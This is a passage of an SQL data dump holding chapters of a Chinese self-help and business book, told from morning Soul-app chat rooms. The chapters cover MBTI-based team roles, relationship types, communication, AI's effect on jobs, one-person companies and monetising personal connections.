我说:\"那你觉得,做私域运营,什么性格最适合?\"

她想了几秒。

\"私域运营其实是一个复合型的工作。\"

\"它需要三种人:获客的、转化的、服务的。\"

\"获客的人,需要ENFP或者ESTP,他们擅长打开局面,建立第一接触。\"

\"转化的人,需要ENTP或者ENFJ,他们擅长说服,能把陌生人变成客户。\"

\"服务的人,需要INFJ或者ISFJ,他们擅长维护关系,能把客户变成长期用户。\"

她停了一下。

\"如果你的团队只有一种类型的人,那你的业务一定是瘸腿的。\"


派对房里,有人问:\"那做技术的呢?什么性格适合?\"

她说:\"INTP和INTJ。\"

\"INTP是逻辑学家型人格,喜欢分析、喜欢研究、喜欢把事情想透。\"

\"INTJ是建筑师型人格,喜欢规划、喜欢系统、喜欢把事情做到极致。\"

\"这两种人,做技术、做系统、做产品,都是一把好手。\"

她看着我。

\"卡若,你是什么类型?\"

我笑了。

\"INTP。\"

\"难怪你喜欢做系统。\"


我说:\"那你能不能给大家讲讲,怎么判断一个人适合做什么?\"

她说:\"最简单的方法,看他的第一反应。\"

\"比如,你跟一个人说,\'我有一个项目,能赚钱\'。\"

\"如果他的第一反应是\'怎么赚?\'——这是ENTJ,他关心的是目标。\"

\"如果他的第一反应是\'为什么能赚?\'——这是INTP,他关心的是逻辑。\"

\"如果他的第一反应是\'谁在做?\'——这是ESFJ,他关心的是人,要和靠谱的人做靠谱的事。\"

\"如果他的第一反应是\'有什么风险?\'——这是ISTJ,他关心的是安全。\"

她停了一下。

\"每个人的第一反应,就是他的底层逻辑。\"

\"你知道了他的底层逻辑,就知道怎么跟他合作。\"


派对房里,有人问:\"那如果我是INFP,适合做什么?\"

她说:\"INFP是调停者型人格,理想主义,有创造力,喜欢表达。\"

\"你适合做内容、做创意、做品牌。\"

\"但你不适合做销售,因为你不喜欢push别人。\"

\"你也不适合做管理,因为你不喜欢冲突。\"

她停了一下。

\"INFP最好的位置,是在一个团队里做\'灵魂\'。\"

\"你负责输出价值观,输出理念,让团队有方向感。\"

\"但具体的执行,交给ENTJ和ESTJ。\"


那天聊完,已经快九点了。

我在派对房里总结了一下。

\"刚才那位小姐姐,给了我们一个很好的框架。\"

\"为什么有些团队做不起来?\"

\"不是因为能力不行,是因为人不对。\"

\"你让INTP去做销售,他会很痛苦。\"

\"你让ENTJ去做客服,他会很暴躁。\"

\"每个人都有自己的天赋区间。\"

\"把对的人放在对的位置,团队才能跑起来。\"


我停了一下。

\"我自己是INTP,所以我喜欢做系统、做流程、做分析。\"

\"我不喜欢跟人聊天,但我喜欢研究人。\"

\"所以我每天早上6点在Soul开派对,不是因为我喜欢社交。\"

\"是因为我喜欢观察。\"

\"观察不同的人,怎么思考,怎么表达,怎么做决策。\"

\"然后把这些观察,变成系统,变成方法论。\"

派对房里,有人打字:\"卡若,你太清醒了。\"

我笑了。

\"清醒不是天生的,是被坑出来的。\"


后来,我经常在Soul派对房里讲MBTI。

每次讲完,都有人问:\"卡若,我是XX类型,适合做什么?\"

我说:\"先问自己三个问题。\"

\"第一,你做什么事情的时候,时间过得最快?那就是你的天赋区间。\"

\"第二,你做什么事情的时候,最容易进入心流状态?那就是你应该深耕的领域。\"

\"第三,你做什么事情的时候,别人觉得很难,你觉得很简单?那就是你的核心竞争力。\"

我停了一下。

\"MBTI只是一个工具,帮你认识自己。\"

\"但认识自己之后,怎么选择,还是要靠你自己。\"


这本书的真实目的,不是教你怎么成功。

而是告诉你,每个人都有自己的天赋区间。

不要跟自己的天性对抗,不要和人性对抗。

找到你的位置,然后深耕。

ENFP适合做资源整合,INTP适合做系统搭建,ISFJ适合做客户服务。

每个人都有自己的战场。

找到它,然后打赢它。

#神仙团队

', 6837, 0, 1.00, 3, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.492', 3, 0, 0, 0.00, NULL, NULL); -INSERT INTO `chapters` VALUES (4, '1.4', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '人性的三角结构:利益、情感、价值观', '# 1.4 人性的三角结构:利益、情感、价值观\n\n\"人和人之间的关系,归根结底就三个东西:利益、情感、价值观。\"\n\n2025年11月15日,周六,早上6点32分。\n\n那天的话题有点深,派对房里聊起了人际关系的本质。\n\n有人问:\"为什么有些合作会散伙?\"\n\n我说:\"因为他们只有利益连接,没有其他的。\"\n\n---\n\n派对房里,有人说:\"利益连接不好吗?\"\n\n我说:\"利益连接当然好,但利益连接是脆弱的。\"\n\n\"为什么?“\n\n”因为利益是会变的。\"\n\n\"今天你能给我带来利益,我们是朋友。\"\n\n\"明天你不能给我带来利益了,我们就不是朋友了。\"\n\n---\n\n我继续说。\n\n\"你看那些商业合作,为什么很多都不长久?\"\n\n\"因为它们只建立在利益的基础上。\"\n\n\"一旦利益分配出了问题,或者一方觉得自己吃亏了,关系就破裂了。\"\n\n---\n\n派对房里,有人问:\"那情感连接呢?\"\n\n我说:\"情感连接比利益连接稳定一些。\"\n\n\"因为情感不会因为利益的变化而马上消失。\"\n\n\"你跟一个人有感情,即使他暂时不能给你带来利益,你也不会马上翻脸。\"\n\n---\n\n我停了一下。\n\n\"但情感连接也有问题。\"\n\n\"情感是会消耗的。\"\n\n\"如果你们之间只有情感,没有利益,也没有共同的价值观,时间长了,情感也会淡。\"\n\n---\n\n我举了个例子。\n\n\"比如很多大学同学,毕业的时候感情很好。\"\n\n\"但毕业十年之后,很多人就不联系了。\"\n\n\"为什么?因为你们之间只有过去的情感,没有现在的利益,也没有共同的追求。\"\n\n\"情感慢慢就消耗完了。\"\n\n---\n\n派对房里,有人问:\"那价值观连接呢?\"\n\n我说:\"价值观连接是最稳定的。\"\n\n\"什么叫价值观连接?就是你们相信同样的东西,追求同样的东西。\"\n\n\"这种连接不会因为利益的变化而改变,也不会因为时间的流逝而消退。\"\n\n---\n\n\n\"你看那些能长期合作的人,他们之间一定有价值观的连接。\"\n\n\"他们相信同样的事情,追求同样的目标。\"\n\n\"即使中间有利益的冲突,他们也能坐下来谈,因为他们知道对方跟自己是同一类人。\"\n\n---\n\n派对房里,有人说:\"那最好的关系是什么样的?\"\n\n我说:\"最好的关系,是三者都有。\"\n\n\"有利益连接,让你们有合作的基础。\"\n\n\"有情感连接,让你们有信任的基础。\"\n\n\"有价值观连接,让你们有长期的基础。\"\n\n---\n\n我停了一下。\n\n\"但现实中,三者都有的关系很少。\"\n\n\"大部分关系,可能只有一个或者两个。\"\n\n\"你要做的是什么?是在不同的关系里,识别出它的性质。\"\n\n---\n\n我继续说。\n\n\"如果一个关系只有利益连接,那你就把它当成生意关系。\"\n\n\"不要对它有太多情感上的期待,谈好利益分配就行。\"\n\n\"如果一个关系只有情感连接,那你就把它当成朋友关系。\"\n\n\"不要跟他谈生意,因为谈生意可能会伤感情。\"\n\n\"如果一个关系有价值观连接,那你就好好珍惜。\"\n\n\"这种关系是最稀缺的,也是最有价值的。\"\n\n---\n\n派对房里,有人问:\"怎么判断一个人跟你有没有价值观连接?\"\n\n我说:\"很简单,看你们聊天的内容。\"\n\n\"如果你们只聊利益——怎么赚钱、怎么合作、怎么分钱——那就是利益连接。\"\n\n\"如果你们只聊情感——最近怎么样、家里怎么样、心情怎么样——那就是情感连接。\"\n\n\"如果你们会聊理想、聊未来、聊你们相信什么、追求什么,那就是价值观连接。\"\n\n---\n\n那天聊完,派对房里有人说:\"我发现我身边大部分关系都是利益连接。\"\n\n我说:\"这很正常。\"\n\n\"成年人的世界,利益连接是最常见的。\"\n\n\"但你不能只有利益连接。\"\n\n\"你需要有几个有情感连接的朋友,让你在低谷的时候有人支持。\"\n\n\"你需要有几个有价值观连接的伙伴,让你在迷茫的时候有人同行。\"\n\n---\n\n我停了一下。\n\n\"人生就像一个三角形。\"\n\n\"利益是底边,让你站得稳。\"\n\n\"情感是一条边,让你不孤单。\"\n\n\"价值观是另一条边,让你走得远。\"\n\n\"三条边都有,三角形才稳定。\"\n\n---\n\n那天早上7点15分,派对房里的人陆续离开。\n\n有人临走前说了一句:\"以后看人,我会先想想这是哪种连接。\"\n\n我觉得,这就够了。\n\n不需要你记住什么大道理,只需要在下次遇到一段关系的时候,能多想一层。\n\n这一层,可能就是你避开一个坑,或者抓住一个机会的关键。\n', 1605, 0, 1.00, 4, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.503', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (5, '1.5', 'part-1', '第一篇|真实的人', 'chapter-1', '第1章|人与人之间的底层逻辑', '沟通差的问题:为什么你说的别人听不懂', '# 1.5 沟通差的问题:为什么你说的别人听不懂\n\n\"我发现一个问题,就是我说的话,别人经常听不懂。\"\n\n2025年12月3日,周三,早上6点18分。\n\n那天派对房里来了个程序员,语气有点无奈。\n\n他说他在公司里跟产品经理、跟老板沟通,总是鸡同鸭讲。\n\n我问:\"能举个例子吗?\"\n\n他说:\"比如我跟老板说,这个功能需要重构底层架构,老板就问我,重构是什么意思?需要多长时间?能不能不重构?\"\n\n\"我解释了半天,他还是不理解为什么要重构。\"\n\n---\n\n派对房里,有人说:\"那是老板不懂技术。\"\n\n我说:\"不对。问题不在老板,在你。\"\n\n---\n\n我继续说。\n\n\"沟通的本质是什么?是让对方理解你的意思。\"\n\n\"如果对方没理解,那就是你的问题,不是对方的问题。\"\n\n\"因为沟通的责任在说话的人,不在听话的人。\"\n\n---\n\n派对房里,那个程序员说:\"但我说的是事实啊,是技术上的事实。\"\n\n我说:\"事实不重要,重要的是对方能不能理解。\"\n\n\"你用技术语言跟一个不懂技术的人说话,他当然听不懂。\"\n\n\"这不是他的问题,是你没有\'翻译\'。\"\n\n---\n\n\"什么叫翻译?\"\n\n\"就是把你的专业语言,翻译成对方能理解的语言。\"\n\n---\n\n我举了个例子。\n\n\"比如你说\'重构底层架构\',老板听不懂。\"\n\n\"你应该怎么说?\"\n\n\"你应该说:\'老板,现在这个系统就像一栋老房子,地基有问题。我们可以继续往上盖,但盖到一定程度就会塌。如果我们现在花两周时间把地基加固一下,以后就不用担心这个问题了。\'\"\n\n---\n\n派对房里,有人说:\"这样说确实更容易理解。\"\n\n我说:\"对。\"\n\n\"这就是翻译。\"\n\n\"你把\'重构底层架构\'翻译成\'加固地基\',老板一下就懂了。\"\n\n---\n\n我继续说。\n\n\"沟通差的人,通常有几个问题。\"\n\n\"第一,只会用自己的语言说话。\"\n\n\"他们不会根据听众调整表达方式,对谁都用同样的说法。\"\n\n\"第二,只说事实,不说意义。\"\n\n\"他们会告诉你\'是什么\',但不会告诉你\'为什么重要\'、\'对你有什么影响\'。\"\n\n\"第三,只顾自己说,不管对方听没听懂。\"\n\n\"他们说完就觉得自己的任务完成了,不会确认对方是否理解。\"\n\n---\n\n派对房里,有人问:\"那怎么提高沟通能力?\"\n\n我说:\"有几个方法。\"\n\n\"第一,了解你的听众。\"\n\n\"在说话之前,先想想对方是什么背景、什么水平、关心什么。\"\n\n\"然后根据这些来调整你的表达方式。\"\n\n---\n\n我继续说。\n\n\"第二,先说结论,再说原因。\"\n\n\"很多人说话喜欢从头说起,铺垫一大堆,最后才说结论。\"\n\n\"但对方可能听到一半就走神了。\"\n\n\"你应该先说结论:\'老板,我建议我们花两周时间做一次系统升级。\'\"\n\n\"然后再解释原因:\'因为现在的系统有一些隐患,如果不处理,以后可能会出大问题。\'\"\n\n---\n\n我停了一下。\n\n\"第三,用对方熟悉的东西做类比。\"\n\n\"抽象的概念很难理解,但具体的例子很容易理解。\"\n\n\"你说\'重构架构\',对方听不懂。\"\n\n\"你说\'加固地基\',对方一下就懂了。\"\n\n\"因为\'地基\'是对方熟悉的概念。\"\n\n---\n\n我继续说。\n\n\"第四,确认对方是否理解。\"\n\n\"说完之后,问一句:\'我说清楚了吗?还有什么其他没解释清楚的问题吗?\'\"\n\n\"如果对方有问题,再解释一遍。\"\n\n\"不要假设对方听懂了,要确认。\"\n\n---\n\n派对房里,那个程序员说:\"我明白了,我以前确实没考虑过对方的感受。\"\n\n我说:\"这不是感受的问题,是效率的问题。\"\n\n\"你沟通不清楚,对方不理解,你们就要反复沟通。\"\n\n\"一件事情本来五分钟能说清楚,结果说了一个小时还没说清楚。\"\n\n\"这是巨大的时间浪费。\"\n\n---\n\n那天聊完,派对房里有人说:\"沟通能力真的很重要。\"\n\n我说:\"沟通能力可能是最被低估的能力。\"\n\n\"很多人觉得,只要我专业能力强,沟通差一点没关系。\"\n\n\"但实际上,如果你不能把你的专业能力表达出来,别人就不知道你有多厉害。\"\n\n\"你的能力就被埋没了。\"\n\n---\n\n我停了一下。\n\n\"反过来,有些人专业能力一般,但沟通能力很强。\"\n\n\"他们能把自己的想法清晰地表达出来,能说服别人支持他们。\"\n\n\"结果他们的发展反而比专业能力强的人更好。\"\n\n---\n\n早上7点02分,那个程序员说他要去上班了。\n\n临走前他说:\"今天学到一个词,翻译。以后跟老板说话,我先翻译一下。\"\n\n我笑了笑。\n\n其实沟通这件事,没有什么高深的技巧。\n\n核心就一句话:站在对方的角度想问题。\n\n你想让对方理解你,就要先理解对方。\n\n这不只是沟通的道理,也是做人的道理。\n', 1715, 0, 1.00, 5, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.515', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (6, '10.1', 'part-5', '第五篇|真实的社会', 'chapter-10', '第10章|未来职业的变化趋势', 'AI时代:哪些工作会消失,哪些会崛起', '# 10.1 AI时代:哪些工作会消失,哪些会崛起\n\n\"未来五年,50%的工作岗位会被AI取代。但同时,会诞生50%的新岗位。\"\n\n2025年12月17日,周三,早上6点18分。\n\n那天派对房的话题是关于AI渗透性重塑就业。\n\n有人问:\"你觉得哪些工作会先被取代?\"\n\n我说:\"重复性的、标准化的、不需要情感连接的工作。\"\n\n房间里安静了几秒,然后问题像潮水一样涌来。\n\n---\n\n派对房里,有人说:\"那客服是不是第一个?\"\n\n我说:\"对,客服是最典型的。\"\n\n\"你想想,现在很多公司的客服已经是AI了。\"\n\n\"你打电话过去,接你的是机器人。\"\n\n\"你在网上咨询,回复你的也是机器人。\"\n\n\"只有遇到复杂问题,才会转人工。\"\n\n---\n\n我继续说。\n\n\"但客服这个岗位不会完全消失。\"\n\n\"会消失的是那种只会照本宣科、只会复制粘贴的客服。\"\n\n\"不会消失的是什么?是能处理复杂问题、能提供情绪价值的客服。\"\n\n这就是AI时代的规律——————**取代执行,留下判断;取代标准,留下温度。**\n\n---\n\n派对房里,有人问:\"那程序员呢?\"\n\n我说:\"程序员这个群体会分化。\"\n\n\"低端的程序员,就是那种只会写CRUD、只会复制粘贴代码的,会被取代。\"\n\n\"但高端的程序员,能做架构设计、能解决复杂问题的,不会被取代。\"\n\n\"而且会出现一种新的岗位,叫\'AI程序员\'。\"\n\n\"他们不是自己写代码,而是指挥AI写代码,然后负责审核和优化。\"\n\n---\n\n我停了一下。\n\n\"其实你看现在的Cursor、TRAE这些AI编程工具,已经能帮你写大部分代码了。\"\n\n\"程序员的工作从\'写代码\'变成了\'审代码\'。\"\n\n\"这就是AI带来的变化。\"\n\n我们公司现在就在用这些工具,效率提升了至少30%。\n\n---\n\n派对房里,有人说:\"那设计师呢?\"\n\n我说:\"设计师也会分化。\"\n\n\"你看现在的Midjourney、DALL-E,已经能生成非常漂亮的图片了。\"\n\n\"如果你只是做一些简单的海报、banner,AI完全能替代你。\"\n\n\"但如果你是做品牌设计、做用户体验设计,AI暂时还替代不了。\"\n\n\"因为这些工作需要理解人、理解商业、理解文化。\"\n\n---\n\n我继续说。\n\n\"所以你会发现一个规律。\"\n\n\"AI最容易取代的,是\'执行层\'的工作。\"\n\n\"AI最难取代的,是\'决策层\'和\'创意层\'的工作。\"\n\n这也是为什么我们在做咨询的时候,会帮客户梳理他们的业务流程——哪些可以交给AI,哪些必须留给人。\n\n---\n\n派对房里,有人问:\"那什么工作是AI创造出来的?\"\n\n我说:\"很多。\"\n\n\"比如\'AI训练师\',专门给AI标注数据、调整模型的。\"\n\n\"比如\'提示词工程师\',专门研究怎么跟AI对话、怎么让AI输出更好结果的。\"\n\n\"比如\'AI内容审核员\',专门审核AI生成的内容,确保没有问题的。\"\n\n\"比如\'AI伦理专家\',专门研究AI的伦理问题,制定使用规范的。\"\n\n---\n\n我停了一下。\n\n\"还有一类工作,是AI间接创造的。\"\n\n\"比如\'AI工具培训师\',教别人怎么用AI工具的。\"\n\n\"比如\'AI转型顾问\',帮企业做AI转型的。\"\n\n\"比如\'AI内容创作者\',用AI辅助创作内容的。\"\n\n这些新岗位,其实就是新的机会。\n\n我们也在帮一些企业做AI转型的咨询,市场需求很大。\n\n---\n\n派对房里,有人说:\"那普通人应该怎么办?\"\n\n我说:\"有三条路。\"\n\n\"第一条路,学会使用AI。\"\n\n\"AI是工具,谁会用这个工具,谁就有优势。\"\n\n\"你不需要懂AI的原理,你只需要知道怎么用它来提高你的效率。\"\n\n---\n\n我继续说。\n\n\"第二条路,做AI做不了的事。\"\n\n\"什么是AI做不了的?\"\n\n\"需要情感连接的、需要创意的、需要复杂决策的、需要实体操作的。\"\n\n\"比如心理咨询师、比如创意总监、比如企业高管、比如水电工。\"\n\n---\n\n我停了一下。\n\n\"第三条路,成为AI的\'主人\'而不是\'竞争者\'。\"\n\n\"什么意思?\"\n\n\"就是你不要想着跟AI比谁更快、谁更准。\"\n\n\"你要想的是,怎么让AI为你工作。\"\n\n\"你是导演,AI是演员。\"\n\n\"你是老板,AI是员工。\"\n\n这也是我们在派对房里经常讨论的话题————如何用AI放大自己的价值。\n\n---\n\n派对房里,有人问:\"那你觉得未来最有前景的职业是什么?\"\n\n我说:\"我觉得有几个方向。\"\n\n\"第一,AI相关的技术岗位。不是说你要会开发AI,而是你要会应用AI。\"\n\n\"第二,需要情感连接的服务岗位。比如心理咨询、比如高端销售、比如私人教练。\"\n\n\"第三,需要有人情味的创意和审美的岗位。比如品牌策划、比如内容创作、比如产品设计。\"\n\n。。。。。。\n\n---\n\n我停了一下。\n\n\"但最重要的不是选择哪个职业。\"\n\n\"最重要的是保持学习的能力。\"\n\n\"因为未来的变化会越来越快,你今天学的东西,可能三年后就过时了。\"\n\n\"唯一不会过时的,是你学习新东西的能力。\"\n\n这也是我们一直在做的事情——不断学习、不断迭代、不断分享。\n\n---\n\n那天聊完,我在派对房里总结了一下。\n\n\"AI时代,有人恐惧,有人兴奋。\"\n\n\"恐惧的人,是因为他们只看到了AI会取代什么。\"\n\n\"兴奋的人,是因为他们看到了AI会创造什么。\"\n\n---\n\n我继续说。\n\n\"每一次技术革命,都会淘汰一批人,也会成就一批人。\"\n\n\"蒸汽机淘汰了马车夫,但创造了火车司机。\"\n\n\"电脑淘汰了打字员,但创造了程序员。\"\n\n\"AI会淘汰什么,会创造什么,现在还不完全清楚。\"\n\n\"但有一点是确定的:主动拥抱变化的人,永远比被动等待的人更有机会。\"\n\n---\n\n如果你对AI时代的机会感兴趣,欢迎来派对房聊聊。\n\n我们每天早上6点开播,聊的都是真实的案例和思考。\n\n不卖课,不割韭菜,只分享我们的经验和观察。\n\n---\n\nAI时代的生存法则是什么?\n\n第一,学会使用工具。\n\n第二,做工具做不了的事。\n\n第三,保持学习的能力。\n\n做到这三点,你就不会被时代淘汰。\n', 2244, 0, 1.00, 55, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.082', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (7, '10.2', 'part-5', '第五篇|真实的社会', 'chapter-10', '第10章|未来职业的变化趋势', '一人公司:为什么越来越多人选择单干', '# 10.2 一人公司:为什么越来越多人选择单干\n\n\"现在做生意,最好的模式是什么?一个人,不招人,不租店,一年赚个几十万。\"\n\n2025年12月19日,周五,早上7点30分。\n\n那天派对房里聊起了创业模式,气氛很轻松。\n\n有人说:\"我不想打工了,但也不想搞一个很大的公司。\"\n\n我说:\"那你可以试试\'一人公司\'。\"\n\n他眼睛亮了起来。\n\n---\n\n派对房里,有人问:\"什么叫一人公司?\"\n\n我说:\"就是字面意思,一个人的公司。\"\n\n\"你不招员工,不租办公室,所有的事情都自己做。\"\n\n\"但你不是个体户,你是一个正规的公司,有营业执照,有银行账户,可以开发票。\"\n\n---\n\n我继续说。\n\n\"为什么越来越多人选择这种模式?\"\n\n\"因为现在的工具太强大了。\"\n\n\"以前你想做一个生意,你需要招人、租店、买设备。\"\n\n\"现在呢?你一个人,一台电脑,一部手机,就能搞定很多事情。\"\n\n这就是AI时代带来的红利——个体的能力被极大放大了。\n\n---\n\n派对房里,有人说:\"但一个人能做多大?\"\n\n我说:\"不需要做很大。\"\n\n\"一人公司的目标不是做大,而是做精。\"\n\n\"你一年赚个30万、50万、100万,就很好了。\"\n\n\"你不需要养一堆员工,不需要操心管理,不需要担心现金流。\"\n\n---\n\n我停了一下。\n\n\"你想想,如果你招了10个员工,一年营收500万,扣掉工资、房租、税费,你可能也就赚50万。\"\n\n\"但如果你一个人,一年营收100万,扣掉一些成本,你可能能赚80万。\"\n\n\"哪个更划算?\"\n\n这是我们在派对房里经常讨论的话题——不是做大,是做对。\n\n---\n\n派对房里,有人问:\"那一人公司适合做什么?\"\n\n我说:\"适合做\'轻资产、高利润、可复制\'的生意。\"\n\n\"什么是轻资产?就是不需要大量投入,不需要囤货,不需要租店面。\"\n\n\"什么是高利润?就是毛利率高,最好能超过50%。\"\n\n\"什么是可复制?就是你做的事情可以标准化,可以用工具来放大。\"\n\n---\n\n我举了几个例子。\n\n\"比如咨询服务。你有某个领域的专业知识,你给别人做咨询,收咨询费。\"\n\n\"比如内容创作。你写文章、拍视频、做播客,然后通过广告、带货、知识付费来变现。\"\n\n\"比如代理分销。你不自己生产,你帮别人卖东西,赚佣金。\"\n\n\"比如技术服务。你会写代码、会做设计、会做运营,你给企业提供外包服务。\"\n\n这些都是我们在派对房里见过的真实案例。\n\n---\n\n派对房里,有人说:\"但一个人做,会不会太累?\"\n\n我说:\"这就是关键。\"\n\n\"一人公司的核心不是\'什么都自己做\',而是\'只做最重要的事\'。\"\n\n---\n\n我继续说。\n\n\"你要学会用工具来替代人力。\"\n\n\"比如用AI来写文案、做设计、处理数据。\"\n\n\"比如用自动化工具来发邮件、发消息、管理客户。\"\n\n\"比如用外包来处理你不擅长的事情。\"\n\n我们自己就是这么做的——能用工具的用工具,能外包的外包,核心的事情自己做。\n\n---\n\n我停了一下。\n\n\"一人公司的老板,不是什么都自己做的人。\"\n\n\"而是知道什么该自己做、什么该交给工具、什么该外包出去的人。\"\n\n这也是我们在做咨询时帮客户梳理的——什么是你的核心价值,什么可以交出去。\n\n---\n\n派对房里,有人问:\"那一人公司的风险是什么?\"\n\n我说:\"有几个风险。\"\n\n\"第一,收入不稳定。你没有固定工资,收入完全取决于你的业务。\"\n\n\"第二,没有团队支持。遇到问题只能自己扛,没有人帮你分担。\"\n\n\"第三,成长有天花板。一个人的精力有限,做到一定规模就很难再往上了。\"\n\n---\n\n我继续说。\n\n\"但这些风险是可以管理的。\"\n\n\"收入不稳定?那你就多开几条收入线,不要把鸡蛋放在一个篮子里。\"\n\n\"没有团队支持?那你就建立自己的\'虚拟团队\',用外包和合作来解决问题。\"\n\n\"成长有天花板?那你就不要追求无限成长,找到自己舒服的规模,保持住就好。\"\n\n这些都是我们在实践中总结出来的经验。\n\n---\n\n那天聊完,派对房里有人说:\"我决定了,我要试试一人公司。\"\n\n我说:\"可以试,但有几个前提。\"\n\n\"第一,你要有一技之长。没有技能,你什么都做不了。\"\n\n\"第二,你要有一定的积蓄。至少能撑半年到一年,让你有时间去探索。\"\n\n\"第三,你要有自律的能力。没有老板管你,你要能管好自己。\"\n\n---\n\n我停了一下。\n\n\"一人公司不是逃避,是选择。\"\n\n\"不是因为你找不到工作才去做一人公司。\"\n\n\"而是因为你知道自己想要什么,知道怎么用最少的资源创造最大的价值。\"\n\n---\n\n如果你也在考虑做一人公司,欢迎来派对房聊聊。\n\n我们可以帮你梳理思路,看看你适合做什么、怎么开始。\n\n不收费,只要你认真。\n\n---\n\n这个时代给了你更多的选择。\n\n你可以选择打工,可以选择合伙创业,也可以选择一人公司。\n\n没有哪个选择是绝对正确的。\n\n关键是,你要知道每个选择的代价和收益,然后做出适合自己的决定。\n\n我们能做的,就是帮你看清楚这些代价和收益。\n', 1866, 0, 1.00, 56, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.093', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (8, '10.3', 'part-5', '第五篇|真实的社会', 'chapter-10', '第10章|未来职业的变化趋势', '为什么链接能力会成为第一价值', '# 10.3 为什么链接能力会成为第一价值\n\n认识谁比会什么更值钱,但只有能交付才算价值。\n\n2025年12月22日,周一,早上7点15分。\n\n那天派对房里来了个年轻人,语气有点不自信。\n\n他说:\"我不太会做事,但我认识一些人,这算价值吗?\"\n\n我问:\"你每个月愿意为把认识的人做成服务付多少?\"\n\n他愣了。\n\n我说:\"认识人不是价值,能把认识的人变成交付才是价值。\"\n\n---\n\n在Soul上,我认识了很多靠\"链接\"赚钱的人。\n\n有个做私域的朋友分享了他的模式:\n\n\"我平常也就开两三个小时,基本都6点多起来起床就开播,然后链接。我发现Soul上引流还是可以的,不管线下还是什么。\"\n\n\"腾讯已经入股很久了,占现在49.9%股份。他现在打法有点像11年的QQ、14年的微信,跟17年的抖音很像。\"\n\n另一个朋友说得更直接:\n\n\"Soul上我认识好多好朋友。我们最近搞了个雪茄吧,就在鼓浪屿对面。亏了400万。但通过这个圈子认识了币圈的人、投\n\n资圈的人,链接的价值远超400万。\"\n\n链接能力的价值不在于认识多少人,在于能不能把关系变成交付。\n\n---\n\n派对房里,我们讨论了几个真实的链接变现案例。\n\n案例1:软件协会资源对接\n\n\"软协副会长专门帮一些软件公司做退税,是一把手授权他来做商业化,其他人不能做。深圳的这块很吃香。\"\n\n\"我们为什么跟你说这个事情?因为我们无非能不能做先验证这个实力和这个人对不对等,只是条件问题,就很快了。\"\n\n案例2:学校资源链接\n\n\"我刚刚给你发了这个,有张图,你可以看到80所学校都是中专。人在海外,老板在海外,但国内的学校交给他妹妹去打\n\n理,也一直想让学生变现。\"\n\n\"学生就做基础任务就可以了,也不要让他做太复杂的事情。\"\n\n案例3:游戏公司对接\n\n\"游戏公司这里面应该有你认识的吧?这些都知道。这个一把手我们都很熟。就是异业关系的这种逻辑,然后我就从他那里搂\n\n游戏出来分包一下,丢到海外。\"\n\n这些案例都有一个共同点:链接只是开始,交付才是关键。\n\n---\n\n派对房里有人问:\"你觉得链接的核心是什么?\"\n\n我说:\"分润与交付的规则。\"\n\n所有链接必须写规则:\n- 动作说明\n- 质检点\n- 交付节点\n- 分润比例与到账条件\n\n\"没有规则,就是人情消耗。有规则,才是长期合作。\"\n\n这也是我们在帮客户做咨询时反复强调的,把关系变成流程,把流程变成规则。\n\n---\n\n有个做了很多年的朋友分享了他的教训:\n\n\"我早期14年的时候带了一群游戏主播,教他们打粉、直播、把粉丝引到微信里面去。最早的时候是七三开我拿七他三,后\n\n面变成三七开他拿七,随着他的粉丝量越来越多。到16年的时候我拿1%,最后1%都没有。\"\n\n\"不管曾经关系多好,都不要去挑战人性。\"\n\n---\n\n基于这个教训,我们总结出正确的链接姿势:\n\n\"后面非常简单,就是做流程拆解。你直播间你就好好玩游戏,我给你钱就行,养着你就可以了。后面成交转化产品供应链所\n\n有的流程,我给你配团队,全部来做完。\"\n\n\"他就不需要学太多,你就给我学打粉一样。要去比赛,我保你比赛赞助给你。每个月分个一、两万给你。后端的所有的人做\n\n重的全部放公司底下。\"\n\n这就是链接的终极形态,你做简单的,我做复杂的,规则清晰,利益明确。\n\n---\n\n如果你也有资源但不知道怎么变现,欢迎来派对房聊聊。\n\n我们可以帮你梳理你的资源,看看怎么做成可交付的服务。\n\n不是所有资源都能变现,但我们可以帮你找到那些能变现的。\n\n---\n\n链接不是聊天,链接是把关系变成交付。\n\n- 把\"认识谁\"变成\"做成什么\"\n- 把\"会说话\"变成\"会交付\"\n- 把\"一次对接\"变成\"长期分润\"\n\n认识谁比会什么更值钱,但只有能交付才算价值。\n\n这是我们在派对房里见证过无数次的规律。\n', 1444, 0, 1.00, 57, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.105', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (9, '10.4', 'part-5', '第五篇|真实的社会', 'chapter-10', '第10章|未来职业的变化趋势', '新型公司:Soul-飞书-线下的三位一体', '# 10.4 新型公司:Soul-飞书-线下的三位一体\n\n把\"看到你\"变成\"跟着你\",再变成\"按时交付\"。\n\n2025年12月25日,周四,早上7点55分。\n\n圣诞节的早晨,派对房里来了个老板,语气很实在。\n\n他说:\"我们聊天多、线下忙、系统杂,你说的三位一体怎么搭?\"\n\n我问:\"你每个月愿意为承诺能兑现付多少?\"\n\n他笑了:\"只要稳。\"\n\n我说:\"那我们从头聊一遍。\"\n\n---\n\n我在Soul上做了一个实验:每天6-9点开播,看能链接多少人。\n\n有个朋友问我为什么选Soul:\n\n\"Soul现在打法有点像11年的QQ、14年的微信,跟17年的抖音很像。他现在做内部的人群分层跟流量池搭建,包括Soul上\n\n面的招聘,跟14年微信的招聘难度差不多,只多了一个AI板块跟大数据板块。\"\n\n\"所以我就蛮看好这个平台的,就上来自己先干再说,也不逼太多。确实限制的比较少,而且现在还没有加大流量。\"\n\n另一个朋友补充了他的观察:\n\n\"我现在做的事情也是一样,我们是用电竞的主播做入口,签一些电竞的明星比较出名的,然后把他粉丝囤到私域里边去。现\n\n在也是在做类似Soul的这么一个事情。\"\n\n这就是三位一体的逻辑,Soul是窗口,飞书是中台,线下是交付。\n\n---\n\n基于派对房的讨论,我们把三位一体拆解为:\n\nSoul这块(窗口):\n- 每天6-9点开播\n- 分享真实案例和商业逻辑\n- 